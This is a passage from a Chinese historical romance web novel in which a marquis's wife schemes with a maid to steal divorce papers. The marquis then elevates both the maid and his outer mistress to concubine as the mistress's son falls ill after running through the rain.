微微失神的杜明月抬眸,眼底是一片寒意,“只有我点头同意,他才会纳妾。听懂了吗?” 春红一愣,随即反应了过来,立马一脸后悔的急忙跪在杜明月脚边,想要表忠心。 “是奴婢无知,过去冒犯了夫人,夫人您大人不计小人过……” 春红见杜明月冷冷的看着自己,心下一急,甚至直接抬手往自己脸上打起了巴掌。 “啪!都是奴婢愚笨!” 春红边打边骂自己,就在她抬手准备打第二个巴掌时,杜明月却拦住了她。 “这么俊俏的脸蛋打坏了,送到侯爷面前,可就看不上了。”杜明月眉眼弯弯露出笑意,着实美丽,但却像是一条吐着信子魅惑人心的美女蛇。 “夫人,您的意思是……”春红战战兢兢,眼中混杂着困惑,害怕、渴望和惊喜。 杜明月敛了笑容,淡淡的点了点头,“是,我可以将你送给侯爷,还能抬你做妾,只是……” 杜明月话音一顿,春红立马明白过来,给她磕头道,“从今儿起,春红就是夫人的人,只要夫人想要奴婢做的,奴婢万死不辞。” 望着这样着急表忠心的春红,杜明月的笑意不答眼底。 春红这样唯利是图,左右摇摆之人,怎么可能甘愿真的给自己做心腹,她不过是现在想借着自己往上爬,说不定还期望自己能赶紧成功和离,这样她就是段骆岐唯一的姨娘了。 杜明月轻轻笑了,春红的这个愿望,她好像也能满足她。 “春红,你很聪明,一点就透。”杜明月敛了微笑,认认真真的道,“现在确实有一件事,只有你能替我办。” 春红立马急忙点头,杜明月继续道,“侯爷已签下与我的和离书,只是一直保管着不肯给我。” “只要你想办法能将这和离书偷来给我,我立马抬你做姨娘,让你风风光光入府。” 杜明月不忘敲打道,“当然,如果你跟我耍什么小心机,我一日拿不到和离书,我便一日是侯府夫人!那时我不仅不会让你做妾,我还会直接卖了你!” 春红心下一惊,来不及仔细思考,只是一昧的给杜明月磕头表忠心。 “奴婢明白,夫人放心,今日听了夫人的点播,断不会再做傻事。”春红抬眸看向杜明月,因为兴奋,浑身微微发抖。 杜明月见状,满意的点点头,又道,“在这之前,你虽然不是姨娘,但我会将你送入侯爷房中,这也是为你亲近侯爷,偷取和离书制造机会。” “奴婢明白。”春红急忙应下,眼中闪烁着迫不及待的光芒,“奴婢一定能将和离书拿来。” 杜明月闻言一愣,因为春红说这话的信誓旦旦不是假的,好像那和离书已经在她唾手可得的位置上一样。 “你有别的办法?”杜明月敏锐的捕捉到了她话里的一丝漏洞。 春红也没有否认,反而郑重的点了点头。 第四十八章 成了春姨娘 “是,奴婢真的有办法!”春红斩钉截铁的开口,杜明月眉梢一挑,饶有兴致的看着她。 “说来听听。”杜明月清润的声音不大不小的响起。 “给侯爷看守书房的小厮里,有一个叫喜子的,是奴婢同乡,两家关系虽远,但也多少是沾亲带故的,平日在府里也能说得上话。” 春红将她的打算和盘托出,当真是一副忠心耿耿的模样。 “奴婢会私下买通喜子,让他找个机会帮我摸清楚侯爷将那和离书放在哪儿,如果能偷出来便偷出来,若不能,奴婢自当亲自替夫人取来。” 杜明月定定的看着她,看得出来,她这次说的全是真的,至少在自己离府前,是打算和自己同气连枝的。 “很好。”杜明月为了让她能继续死心塌地为自己做事,打算先给她点甜头尝尝,“你既对我如此衷心,我自然不会亏待你。” “你现在便下去梳洗打扮一般,片刻后,我便安排将你送入侯爷房中。”杜明月微微勾唇道,“你放心,有我出面,他肯定会将你收房。” “你能留下侯爷的人,你便是我认可的侯府的姨娘,日后我还会亲自替你操办纳妾仪式,敲锣打鼓替你宣扬。” 杜明月话落,惊喜的春红立马红了眼眶,激动的又要给她磕头,看着杜明月的眸子都更加忠诚和死心塌地了。 “都说了,磕坏了脑袋,一会上妆就不好看了。”采取怀柔手段的杜明月微微勾起唇角,努力做出一副温柔和善的模样,“起来吧,快去准备。” “是。”春红满眼都是对杜明月的感激,起身后,强压着内心的冲动,缓缓的出了屋子,一到院子里,就忍不住的小碎步跑了起来。 “主子,真要抬她做姨娘啊?”红豆看春红的身影完全融于夜色,忍不住回头问道,“她真能将那和离书拿回来吗?” 杜明月沉默了一瞬,缓缓开口道,“我只要和离书,她能拿回来最好,不能,我另外再想别的办法,至于姨娘这个位置,她坐了就坐了,给她又何妨。” 杜明月唇角勾起,眼神却满是淡漠和凉薄。 她既然已经对段骆岐和镇南侯府没了感情,那日后这府里的姨娘是谁,夫人是谁,她一概不关心。 “红豆,一会你送春红去侯爷的院里,”杜明月眸光一闪,淡然道,“你就告诉她,我去南风馆只是看人弹琴,没有任何逾矩的行为,将春红送给他,是为了让他消气,让他一定收下。” 红豆听了这话,震惊的睁大了眸子,“主子,和侯爷说得如此直白,他万一不高兴将人赶出来怎么办?” “不会的,他一定会留下的。”杜明月自信的勾唇。 她了解段骆岐,今日他被自己羞辱,又被柳楹莹拒绝,那在看到自己送去的春红以后,一定会愤而留下,以此示威回击自己。 事情的发展果然和杜明月预想的一样。 红豆带着换上新衣裳,擦了胭脂水粉的春红去到段骆岐房中时,他还是一脸青黑,面色不耐,看起来随时都会发怒。 红豆原封不动的转述了杜明月的话,她暗暗瞧着段骆岐的神色,变了又变,先是青筋暴起、难掩盛怒,突然又唉声叹气、自嘲冷笑了起来。 春红不敢正视段骆岐,但能感觉到此刻他周身散发出来的不悦和愠怒,见他朝着自己走来,吓得浑身发抖,将头埋得更低了。 “抬起头来。”段骆岐那浸染着寒意的声音响起,春红打了个冷战缓缓抬起头。 只见段骆岐眯着眸子,匆匆打量了她一眼,声音几乎是从牙缝传出来的,“去告诉杜明月,她送我的人,我很喜欢!” 春红完全听不出段骆岐这话里的杀气腾腾,反而眼睛一亮,嘴角的笑意压都压不住。 她没想到,她真的有一天能飞上枝头变凤凰。 春红暗暗在下定决心:一定要尽快配合杜明月拿到和离书,这样她便是这府里唯一得宠的姨娘了。 红豆撇了下嘴角,看不上段骆岐这种三心二意的做派,勉强行了礼,转身就走了。 回到摘月居后,她将所见所闻一一告知了杜明月。 “主子,没想到侯爷真的就这么接受春红了。”红豆嗤了一声道,“就这么三心二意的,还好意思天天来缠着您呢!” 杜明月勾唇冷笑:是啊,段骆岐就是这样口蜜腹剑、假装深情的人,不过现在他装都不装了,倒也挺好,坏的明明白白的。 “收拾睡吧。”杜明月从窗边起身,身后突然下起了淅淅沥沥的小雨,她回头看了一眼,只淡淡的开口道,“今夜能睡个好觉了。” 这一夜,窗外阴雨连绵,春红在屋里使尽浑身解数的讨好段骆岐,而柳楹莹却不知道她的头上已经变天了。 清晨,雨声骤停,阳光肆无忌惮的从云层中射了出来,很快大地便铺上了一层金色的衣裳。 春红一听见段骆岐起身的动静,立马从身后攀附上了他的腰身。 段骆岐准备穿衣服的手一顿,眉头微蹙,眼底闪过一抹不耐烦,沉默了片刻开口道,“从今日起,你便是这府里的春姨娘了。” 春红一喜,急忙跪谢段骆岐,要伺候段骆岐穿衣,却被他推开了手。 “去给杜明月请安吧。”段骆岐扔下一句话,动作迅速的系上扣子,套上外衣,匆匆出了屋子。 心下飘飘然的春红呆坐在床上许久,一脸心愿得偿、十分幸福的模样。 她竟然真的摇身一变,变成了这府里的姨娘了! 等她回过神来,已经进来了一个伺候她起身梳洗的丫鬟,她的脸色更加得意了。 她立马将自己收拾妥当,准备去往摘月居请安。 她心中明白,她能有今日,全是仰仗了杜明月的提携,以后,只要杜明月还在府里一天,她一定要好好的为杜明月做事,说不定后面还会有更大的好处等着她呢! 这么一想,喜不自胜的春红脚步又加快了些。 都说不是冤家不聚头,春红没想到自己当上春姨娘的第一日,就迎面碰上了让人觉得晦气的柳楹莹。 第四十九章 受辱 镇南侯府的长廊说宽不宽,说窄不窄,可春红一看见柳楹莹远远走来,就觉得这长廊又窄又闷,让人烦躁。 柳楹莹看着春红这副派头迎面走来,也是一愣。 春红已经完全不是奴婢装扮了,她身后甚至还专门跟了一个低眉顺眼的丫鬟,更让她不敢相信的是,她竟然是从段骆岐的院子出来的。 春红很满意她此刻震惊的神情,趾高气扬的朝着她走了过去,故意在她前面停下了。 “竟敢挡本姨娘的路,让开!”春姨娘拿出上位者的姿态,对柳楹莹呼来喝去。 被羞辱和轻视的柳楹莹气得浑身发抖,不甘心的问道,“你怎么会从那里出来?什么姨娘?谁承认你是姨娘了……” 柳楹莹话还没有说完,春红抬起手,一个巴掌便狠狠的打在了她的脸上。 “大胆!我可是侯爷认可的姨娘,你这是在怀疑侯爷的决定吗!”春红一副小人得志的模样道,“你这个上不得台面,见不得人的外室,还敢在我面前现眼!” 柳楹莹捂着脸颊,死死的咬着唇,她怎么也没想到,她千里迢迢找到府里,竟然会受到这样的屈辱。 她本以为,她和段骆岐情比金坚,横亘在他们中间,只有一个杜明月。 而且,她也不是输给了杜明月,而是输给杜明月的财力,她相信,只要杜明月助段骆岐平步青云,她便能回到京城和段骆岐相守相依。 然而,她万万想不到,她回到京城面对的竟然是这样的遭遇。 段骆岐,背叛自己了吗?他怎么能眼看着自己做外室,却另抬府里的丫鬟做姨娘! 一想到这里,不甘心的柳楹莹满眼的恨意,她用力的握起双手,指甲深深的嵌在掌心,都感觉不到痛了。 “瞪什么瞪!”春红狠狠的剜了柳楹莹一眼,嘲讽道,“你不要以为所有的人都跟你一样自轻自贱,没名没分做人妾室也心甘情愿吧!” “我告诉你吧,我不仅有侯爷的认可,还有夫人的认可,早晚这全京城的人都会知道,我是这府里正门正路抬上来的春姨娘!” 柳楹莹眼眶蓄满了热泪,可是始终倔强的不肯落下。 她直到现在,仍不敢相信段骆岐竟然会这么对她,他不仅辜负她,让别的女人做妾,还放任妾室就这样踩在自己的头上。 难道是因为自己昨日拒绝了他吗? 柳楹莹的心一沉,可她昨日拒绝他的态度也是温柔小意的啊,完全不存在耍性子闹脾气,可即便如此,他难道对自己这点包容和耐心都没有了吗? 柳楹莹低头看着牵着的川儿,一滴眼泪滑落,她明明一大早就带川儿来讨好他,想让他看看病愈的川儿啊! 一直乖乖站在她身边的川儿抬头,见到自己的母亲落泪,立马感受到了她的无助和屈辱,眉头一皱,抽出自己的手,上前愤怒得踹了春红一脚。 春红一个不防备,差点被踢倒,一个趔趄后退了一步,被身边的丫鬟及时扶住了。 “你竟敢踢我!”恼羞成怒的春红抬起手便准备狠狠的扇在他的脸上,可是却听见川儿突然高声喊了一句,“爹爹!” 春红浑身一震,抬起的手也顿在了半空中,心下一慌,终于意识到自己似乎有些逾距了。 虽说柳楹莹确实是没有地位的外室,可是这川儿是侯爷唯一的儿子,况且段骆岐确实紧张疼爱这孩子得紧,毕竟当初误以为杜明月推他入水,都被打了巴掌。 这么一想,春红吓得浑身冷汗直流,几乎要瑟瑟发抖了。 她立马放下手,一脸惊恐的抬头,结果目光四下望去,却发现哪里有侯爷的影子,她被骗了! 春红气的暗暗咬牙:这个坏种,竟然敢骗我! 但即便春红现在恨不得狠狠教训川儿一顿,但是她不敢,也不想自讨苦吃。 “我要去找爹爹!”川儿扯着嗓子大喊,“我要告诉爹爹,你个坏女人!欺负我娘亲!” 说着,川儿转头就跑,柳楹莹一愣,急忙追上去拦住他。 柳楹莹现在已经不敢再肆意妄为的给段骆岐惹麻烦了,她的心底已经升起一股隐隐的恐惧,生怕惹得他不高兴,他真的有一天不要他们娘三了! “不许乱跑!”柳楹莹一把抓住川儿,一脸严肃的道,“爹爹现在不在府里,不能惹爹爹不高兴。” 川儿一脸不甘心,始终气鼓鼓的替柳楹莹鸣不平。 “娘,她欺负你!我要出去找爹爹!”川儿还在坚持,柳楹莹终于忍无可忍一把甩开了他的手。 柳楹莹大声呵斥道,“闹够了没有!我是这么教你的?” 突如其来的训斥让川儿浑身一颤,抬头红着眼眶有些委屈的看着柳楹莹,却不敢再说话了。 春红看着这一幕,满意的一挑眉,她就爱看柳楹莹教训自己孩子的场面。 心满意足的春红也不再耽搁,迈开步子离开了段骆岐的院子。 杜明月一大早起来,惬意得瞧着外面的天气虽然短暂放晴,但空气中弥漫着一种让人压抑的感觉,她总觉得一会应该还有大雨落下。 这么想着,杜明月便让红豆替自己多找来几本书籍,她今日不打算出门,就好好读读书,打发一下闲暇时光。 红豆才将书籍、茶点等一众物品在书案上摆放好,就听到外面传来了匆匆的脚步声。 她急忙抬头从窗户上望出去,就看到一脸春风得意的春红带着一个小丫鬟进了院子。 “奴婢向夫人请安。”春红进了门,面对着杜明月,脸上得意的神情好歹收敛了一些,恭恭敬敬的跪下,当真做出一副姨娘伏低做小的姿态来。 “侯爷允奴婢做了春姨娘,奴婢是来给夫人请安的。”春红说着,便准备拿过她让身后丫鬟端来的茶碗。 然而,她的指尖还未触及到茶碗边缘,便听到杜明月开了口。 “慢着。”杜明月的脸上挂着淡淡的主母似的笑容,宽容大度的开口道,“按理说,你做了姨娘是该向我敬茶,只是还缺个仪式,待我让人去挑个好日子,让你堂堂正正的升为姨娘,到时府里全都知道了,你再给我敬茶不迟。” 第五十章 淋雨染上风寒 听了这话,春红脸上又是一喜,急忙点头附和道,“还是夫人想的周到,是奴婢莽撞了。” 春红急忙让身后的丫鬟收起端来的茶,尴尬的回头继续跪着。 杜明月却在此时微微笑着挑眉,接过了红豆递来的茶。 现在还不是时候,真正的好戏在后头呢。 杜明月眼底的笑意更深,吃了一口茶,这才抬头看向春红道,“别跪着了,你现在已经是姨娘了,坐吧。” 杜明月说着,示意她在一旁坐下,春红立马小心翼翼的起身,安静的坐下了。 像是生怕气氛尴尬一般,春红眼睛一亮,像是想起了什么,立马将自己来时遇见柳楹莹的事情说了。 “那小少爷被柳姑娘教的也太刁钻了一些。”春红说话时一直在小心观察着杜明月的脸色,见她神色始终淡淡的,也不见责备自己的意思,便大着胆子抱怨了起来。 杜明月默不作声的听着,心里对川儿的所作所为倒有些意外。 上次以为他是被柳楹莹教唆陷害自己的,如今看来,他或许是同谋,即便没有柳楹莹的引导,他也会主动诬陷自己。 想到这里,杜明月的眸子深了深。 是啊,那孩子已经不是什么都不懂的年纪了,上次他从水里出来后晕倒了,所以才没机会指认自己,那下次呢? 杜明月的眸子一眯,倒要感谢春红今日给自己送来的消息了,不然她日后再对那孩子心软就是害了自己。 “慎言。”杜明月温润的声音响起,淡淡提醒道,“这话你今日在我面前说说也便罢了,万不可说到侯爷面前。” 春红一愣,随即立马开心的点头道,“是,奴婢明白。” 她觉得杜明月不仅没有责怪自己,甚至还提点自己,那日后在这府里,她便和杜明月在一个阵营,想要对付柳楹莹那不是轻而易举。 这么想着,春红的心里就轻松多了,甚至暗暗挺直了脊背,心里更多了几分自信。 “轰隆!” 毫无预兆的,天上突然响起了一声惊雷,接着天幕如同被撕开了一个口子,豆大的雨滴如断了线的珠子一般,噼里啪啦的落在地上。 杜明月抬头,看着哗啦啦的大雨落下,外头终于起风了,吹得人心里也舒服了一些。 偏院。 柳楹莹将自己关在屋里,抱着川儿和甜儿呜呜咽咽的哭着。 甜儿因为年纪还小,完全不知道发生了什么,只是用柔软的小手抹去她脸上的眼泪。 “娘,不哭,不哭。” “娘!我不会出府乱跑,但我一定要告诉爹爹今天发生的事!”川儿两个小拳头紧紧攥着。 柳楹莹泪眼朦胧的看了他们一眼,不说话,只是一味的哭。 此时,撑着伞急匆匆回来的嬷嬷在门口道,“侯爷回府了。” 她话音刚落,川儿立马挣脱了柳楹莹的怀抱,拼了命的冲出去。 “川儿!”柳楹莹急忙起身,看着门边不知所措的嬷嬷着急挥手,“赶紧跟着啊!撑着点!” 那嬷嬷一愣,急忙举着油纸伞追了出去。 但奈何川儿跑的太快,她根本跟不上,甚至一阵大风刮来,吹折了伞架,立马淋了一身雨,浑身都湿透了。 嬷嬷只感觉浑身立马传来一阵刺骨的凉意,她忍不住打了一个寒颤,再抬头透过雨幕,却看到不远处的川儿完全没有停下脚步的打算,仍然一路朝着段骆岐的院子狂奔着。 “真是祖宗!”嬷嬷气恼的直咬牙,心中有口难言。 自从段骆岐让她们照顾外室和这两个孩子,麻烦就没断过,每天又累又不讨好! 还是以前伺候杜明月时日子安逸啊! 嬷嬷拍着大腿叹气,虽然不情愿,却还是只能继续追上去。 “爹爹!”淋成落汤鸡,浑身冻得发抖的川儿站在院子里,朝着段骆岐紧闭的房门大喊了一声,接着便看到房门自屋中打开,段骆岐出现在了门口。 眼前是瓢泼的大雨,川儿只觉得两眼一黑,整个人几乎要摇摇欲坠的倒下去了,但他没有摔在地上,而是落进了一个慌乱的怀抱中。 他甚至都没有看清段骆岐是怎么撑着伞出来的,只是再悠悠醒来时,他已经躺在段骆岐的床上了。 “爹爹!”川儿一看到守在自己身边的段骆岐,便忍不住委屈的哭了出来,将今日春红侮辱自己娘亲,还动手打自己娘亲的事情全部说了出来。 “你说的都是真的?”段骆岐眉头紧蹙,眼中满是愤怒和怀疑,他无法相信,平日里那个在自己面前唯唯诺诺的春红,真的会这么大的胆子。 “爹爹不信川儿吗!”川儿哭得更大声了,段骆岐急忙将他揽进怀中安抚。 “信,信,当然信。”段骆岐咬咬牙,这个春红确实过分了,她不过才第一天做姨娘,就敢做出这样的事情,看来还是他太宽容了。 “川儿,你在这里歇着,爹爹去去就来。”段骆岐说着,转头就要走,却不料他的衣袖却被人拽住了。 他一愣,回头看着一脸认真盯着自己的川儿道,“爹爹要责罚春姨娘吗?可是那有什么用,以后娘亲可能还会受这样的委屈。” 段骆岐一愣,像是一时没反应过来,他没听懂川儿的话是什么意思。 “你想让爹爹怎么办?”段骆岐不解的开口。 “给娘亲一个名分,川儿不想看到娘亲受欺负。”川儿说着又哭了起来。 段骆岐一愣,正犹豫着不知道该如何开口时,看到川儿突然抽搐了一下,接着直接晕了过去。 “川儿!”段骆岐将其他的全都抛之脑后,一脸紧张的抱起了川儿,抬手一摸,才发现他的额头竟然烫的吓人。 “叫府医!叫府医!”段骆岐一脸惊慌的朝着门外喊了两声,外头立马有人慌乱的跑了起来。 川儿冒雨去见段骆岐,又因为淋雨染上了风寒一事,瞬间在府里宣扬开了。 红豆将这个消息告诉杜明月时,因大雨滞留的春红还在屋内喝茶。 “夫人,您看奴婢没骗您吧,那小少爷为了他娘亲,什么事都能做的出来。” 春红不屑撇撇嘴,面上还露出了几分担忧,像是生怕段骆岐因为这样,再次宠爱柳楹莹忽视了自己。 第五十一章 求药 杜明月处变不惊,只是淡淡的勾起了唇角。 事情要开始变得有意思起来了。 “春姨娘,川儿病了,侯爷一定十分担心,这些日子你的脾气还是要收敛些,免得被侯爷抓到把柄,到头来吃苦的还是你自己。” 杜明月平静的开口,她可不想还没看到好戏,春姨娘就自己把自己给作死了。 “是,奴婢记住了。”春姨娘急忙应下,见杜明月如此担心自己,内心感动。 屋外的雨声渐小,春红见也是时候告辞了,便起身行礼退下了。 红豆一边收拾着桌上的茶盘,一边问道,“主子,川儿病了,这下子侯爷应该忙的焦头烂耳,短时间内不能再到咱们院子里来了吧。” 每次段骆岐一来这院里,准没有什么好事,所以红豆极不待见他。 杜明月点头,“应该是吧。” 说完,杜明月陷入了沉思,修长的手指撑住了下巴,望着院子里沾满水珠的花花草草出神。 川儿真不愧是是段骆岐的种,如此年幼就随了段家人的心机深沉、精于算计。 杜明月眼底闪过一抹冷意,既然这是他自己的选择,那他就要为他自己的决定承担后果。 上一次落水,是她私下里拿出一些顶好的药材交给府医,才调养好了川儿的身体,没落下什么病根。 这一次,川儿估计还以为自己福大命大,所以才敢在如此寒冷的天气里淋雨卖惨,只是,这一次他恐怕就没有上一次那么幸运了。 果然,一夜过去,川儿吃了府医两副药,却始终没有转醒的迹象,还是浑身烫的吓人。 段骆岐见状,一脸恼怒和担忧的责问府医道,“怎么回事?为了一夜过去了,还是不见任何好转!” 府医一脸为难和纠结,柳楹莹在一旁又开始垂泪,肩膀一抖一抖的抽噎着,时不时用帕子擦泪。 “别哭了!”段骆岐不耐烦的吼了她一声,在他不悦的眼神下,柳楹莹只能立马止住了哭声。 “川儿上次落水还没好多久,身子弱,这次又淋了雨……”府医纠结着开口,但话还没有说完,就被段骆岐打断了。 “你就直接说怎么办!啰里啰嗦的!”段骆岐眉头紧锁,怒目圆瞪。 “需要几味药材,只有老夫人那里有,如果老夫人肯割爱……”府医匆匆抬笔,一边说,一边飞快的写了一张草药清单,交到了段骆岐手中。 段骆岐看着单子上的几味草药,目光沉了沉问道,“若我要来,你有把握?” 府医一脸肯定的点头,目光里丝毫没有一丝胆怯和心虚。 “好,我知道了。”段骆岐说着起身,急急的就往外走。 柳楹莹眸中蓄泪,一脸担心的看着段骆岐离开的背影,内心祈祷他一定要将药材顺利的带回来。 “母亲,川儿病了一天一夜,现在需要这些药材治病,你就给我吧!”段骆岐表明来意,却见段老夫人一脸不情愿的搪塞推辞,有些急了,声量都高了几分。 “你知道这些药材多难得吗!”段老夫人还是吝啬的很,迟迟不肯松口。 段骆岐大声道,“母亲,川儿是我唯一的儿子啊!府医说了,川儿现在的情况很危急,已经拖不起了!” “再拖一下去,可能会有危险!”段骆岐试图唤醒段老夫人,但段老夫人还是一副十分纠结的样子,他无奈的拍了一下桌子。 段老夫人浑身一震,被他吓了一跳,这才瞪着他脱口而出道,“这些药材我这里是有,可是都是当初杜氏送我的,千金难得,如今杜氏都马上要与你和离了,以后再想弄到这些顶级的药材就难了!” 段老夫人甚至打算用自己的那一套歪理劝说段骆岐,“你想想,这些都是保命的药啊!我知道你在乎川儿,可是他也不过就是染上了一点风寒,府医又不是没治过,川儿死不了。” 段骆岐觉得自己要被段老夫人气昏头了,他捂住脑袋,有些无力的坐了下来,耳边仍是段老夫人的絮絮叨叨。 “你有点耐心,府医肯定能把川儿治好的。”段老夫人指着段骆岐不满道,“还有,你可是镇南侯府的侯爷,这么一点点事就值得你来大呼小叫,形色慌张的?真是有失体面。” 段骆岐抬头,手掌用力紧紧的抓着桌子,脖子青筋暴起却压抑着自己的声音道,“川儿是我唯一的儿子啊!” 段老夫人听到这话,嘴角下意识的撇了一下,眼底有不屑一闪而过,但段骆岐因为太过愤怒和着急,并没有注意到。 “你要真这么着急,你就去找杜氏要啊!她腰缠万贯,挥金如土的,她肯定有。”段老夫人就是不舍得那些顶级的药材,她说什么也不肯给。 段骆岐无奈的一锤桌子道,“如今她的花销都是从府里账上出,平白无故的,她怎么可能甘愿把这药交出来!” “她不舍得,我就舍得了?”段老夫人眼睛一瞪,死活不松口,甚至开始送客,“我不给,你自己看着办去吧。” 段老夫人一挥手,段骆岐只感觉心口一梗,说不出来的感觉,让他心头苦涩又难过。 最终,段骆岐还是愤愤的离开了,出了门,他又直奔摘月居去了。 “明月,你就可怜可怜川儿吧。”段骆岐哑着嗓子,一脸认真的看向杜明月,试图打动她,“你以往最是大方心善,川儿他也不是别人,是我得孩子,你是当家主母,他也是你的儿子。” 杜明月皱着眉头看他,说实话,对于段骆岐求药求到自己跟前来,她多少还是有几分意外的。 虽说,他是个无情无义又心狠手辣的人,但他对自己孩子,多少还有几分真心。 可是一想到这里,杜明月心中就更恨了,他对自己的外室子如此上心,却偏偏亲手给自己端来堕胎药。 想到这里,杜明月的双手不自觉暗暗攥紧,看着段骆岐的眸子再次染上一抹恨意。 此时的段骆岐不仅对此毫不知情,甚至还想用言语勾起杜明月的同理心,“你也曾是差点做了母亲的人,失去孩子的痛苦,你应该比谁都清楚……” 第五十二章 等到这一天了 “你就真的忍心眼睁睁的看着川儿出事吗,你的良心不会痛吗?”段骆岐越说越激动,愤怒的瞪着杜明月,好似川儿若是真的出了什么事,都要算在杜明月的头上。 “你……”段骆岐义正言辞的还要说什么,却没想到下一瞬自己脸颊传来了火辣辣的疼。 杜明月几乎是用尽全身力气,狠狠的甩了一巴掌在段骆岐的脸上。 “你问我良心会不会痛!那你呢!当初堕胎药是你亲手端给我的!”杜明月怒吼着,几乎有些失态,“是你亲手杀死了他们!” 段骆岐身形一怔,整个人都呆愣在了原地,他看着杜明月气得胸脯起伏的模样,突然意识到自己说错话了。 他整个人周身的气势立马若了下来,眼底闪过一抹慌张和悔意,这件事是他们心中永远的痛,可是他现在竟然就这么口不择言的说了出来,真是该死。 “明月,我不是这个意思……”段骆岐嘴唇颤抖着,突然又伸手打向自己的脸颊,“我该死,我不该提这件事……” 杜明月咬牙,恨恨的看着段骆岐,她没想到他竟然狼心狗肺到这个地步,会用这把带着血的刀子狠狠刺向自己心脏。 “滚!”杜明月忍无可忍,怒吼着指向门外。 段骆岐犹豫了,他欲言又止想要打破这尴尬的场面,就在他不知道他该说什么,既能让杜明月消气,又能让她拿出药材时,府医慌慌张张的跑来了。 “侯爷,小少爷醒了。”府医佝偻着背,用袖子擦着汗,嘴角挂着一抹欣喜,眼底却还闪着一抹心虚和担忧。 段骆岐眼睛一亮,觉得此时川儿醒过来了甚好,算是给了他在杜明月跟前的一个台阶,也免去他向杜明月求药的麻烦了。 “走,回去看看。”段骆岐逃也似的一甩袖子,就带着府医匆匆的离开了。 在段骆岐离开后,杜明月也像是脱力了一般,神色悲伤的一屁股坐在了椅子上。 自那日在珈蓝庙点了长明灯,她已经决定将这件事永远的藏在心里,不再提起,不再悲伤。 可是她万万没想到,段骆岐竟会跑到自己面前,故意解开她的伤疤,让她亲眼看着那伤口鲜血淋漓、触目惊心。 “主子,你没事吧?”红豆在一旁看着,又担心又着急,但又不知道自己能为她做点什么。 红豆小心翼翼的声音唤回了杜明月的理智,杜明月紧紧的闭上眸子,深吸一口气,这才冷静了下来。 “没事。”杜明月缓缓的睁开眸子,现在还有很多事情等着她去做,她不能坐在这里痛苦沉沦。 她会替自己那两个未出世的孩子讨回公道的! 主院。 段骆岐脚步匆匆,欣喜的推开房门,只见柳楹莹此时正开心的紧紧抱着川儿,激动的模样就好像是在抱着什么失而复得的宝物一般。 “川儿,没事了。”段骆岐一个箭步走过去在床边坐下,他伸手摸了摸川儿的额头,虽然温度还有些高,但已经没那么烫了。 他转头看向府医道,“你做得很好。” 府医犹豫着,还是开口道,“侯爷,若是没有那些药材,小少爷的身体也能慢慢恢复,只是时间会长一些,也有可能……” 府医顿了顿,不敢开口。 段骆岐看了他一眼道,“可能什么?说!” 府医见他眉头紧蹙,一副随时又要发怒的模样,只能赶紧开口道,“以后读书可能会受到一点影响。倒也不是很严重,就是可能会比别人学的慢一些。” 原本还有些担心的段骆岐听到这话,却突然不担心了,脸上一片轻松。 “不至于,我镇南侯的儿子,一定是顶顶聪慧的,况且川儿已经醒了,没有生命危险了,后面慢慢补回来就可以了。这几日你继续按着方子煎药就行。” 或许是对自己过于自信,段骆岐现在还没有意识到事情的严重性。 府医见他如此说了,也不再继续纠结于此了,便行了礼退下了。 面色苍白,看着十分憔悴虚弱的川儿嘴唇动了动,段骆岐见状,立马将耳朵往他唇边凑了凑。 “川儿你想说什么?”段骆岐握着他的小手,一脸关心的问道,“有什么事你跟爹爹说,爹爹都答应你。” 川儿附在他耳边嗫嚅了几句,段骆岐整个人一下子愣住了。 过了许久,段骆岐才缓缓的坐正了身子,看了看川儿,又看了看身边的柳楹莹。 柳楹莹在他的目光注视下,瑟缩着低下头,一副小心翼翼的模样。 在川儿极度渴求的目光中,段骆岐终于叹了口气,点头道,“我知道了,爹爹答应你,会让你娘亲正经入府,坐上姨娘的位置。” 川儿闻言,因为高烧而显得有些干裂的嘴唇咧了咧,开心的笑了。 “侯爷……”惊喜的柳楹莹眼含热泪的抬头,直勾勾的深情的盯着段骆岐。 她终于等到这一天了! 段骆岐犹豫了一下,抬手摸了一下柳楹莹的头发,温柔的道,“从今日起,你便是这府里的柳姨娘了。” 柳楹莹欣喜的点头应下,接着听到段骆岐又开了口,却让她的心情跌落到了谷底。 “春姨娘的事情,你也知道。这么一来,府里就有两位姨娘了,你们想有个正经的名分,还要过杜氏那一关。” 段骆岐一想到杜明月,不知为何心里就莫名的痛了一下。 他压低声音继续开口道,“纳妾的仪式要杜氏操办,有时间你去一趟她那里吧。” 按理,这种事他自己做主便可以定下,可是他现在和杜明月之间的关系已经剑拔弩张了,他想缓和,就不能不考虑杜明月的想法。 而且段骆岐心中还存了侥幸的想法,如果杜明月不同意闹起来,就说明她还在乎自己。 他想看看,杜明月得知府里一下子多了两位姨娘到底会有什么反应。 柳楹莹看他态度坚定的模样,心有不甘,却也只能攥紧手,强撑着笑容开口道,“是,侯爷,等川儿睡下,我便去姐姐那里。” 第五十三章 敬茶 段骆岐对柳楹莹温顺的样子很是满意,伸手握住她的手,四目相对,眼底满是温柔。 是啊,这样才对,一直以来,他喜欢的就是这样善解人意的柳楹莹啊! “好。既然川儿已经没事了,你便将他抱回偏院吧,我还有些公务要处理,就不在这里陪你们了。”段骆岐说完,起身离开。 柳楹莹一愣,看着段骆岐收回手,头也不回的离开,心下一沉如坠冰窟。 说实话,她确实本想利用川儿生病的这个机会,留在他屋中。 她想着,说不定朝夕相处之下,两人能重温旧梦,蜜里调油,也好让段骆岐从各种纷繁复杂的事情中抽身出来,不再分心,只看得到自己,可很明显,她的希望落空了。 柳楹莹叹了口气,事已至此,她也只能暂时接受这个局面。 “川儿,你真棒,娘教你的话,你都记住了。”柳楹莹低头,欣慰的看着川儿,伸手鼓励一般的摸了摸他的头。 川儿立马露出高兴的笑容,虽然虚弱,还是一字一顿认认真真的道,“娘开心我就开心。” 柳楹莹感动的抱住了他,之后两人便回到了偏院。 府医送来了煎好的药剂,柳楹莹看着川儿喝下苦苦的中药,往他嘴里塞了一颗糖。 “睡吧。”柳楹莹目光温柔的看着躺下的川儿,用手轻轻的在他身上拍着。 很快,身体虚弱,没有力气和精神的川儿便沉沉的睡下了。 柳楹莹替他拉上被子,再抬头,眼底的温柔都消失不见了,眼里满是愤怒和困惑。 她确实是要去找杜明月的,她倒要好好问问她是什么意思! 她明明前不久才来找自己,说是要和她结盟,结果转头就把自己院里的春红送给段骆岐做妾,这是在断她的后路不成? 想着这些,柳楹莹一路眉头紧皱,几乎是气冲冲的进了摘月居。 “姐姐!”柳楹莹人还未进来,就已经在院子里喊了一声。 正在翻看账本的杜明月手中一顿,抬起头来,下一瞬,柳楹莹已经进了屋。 “主子……”红豆一见柳楹莹态度不善,便有些担心,小声开口提醒。 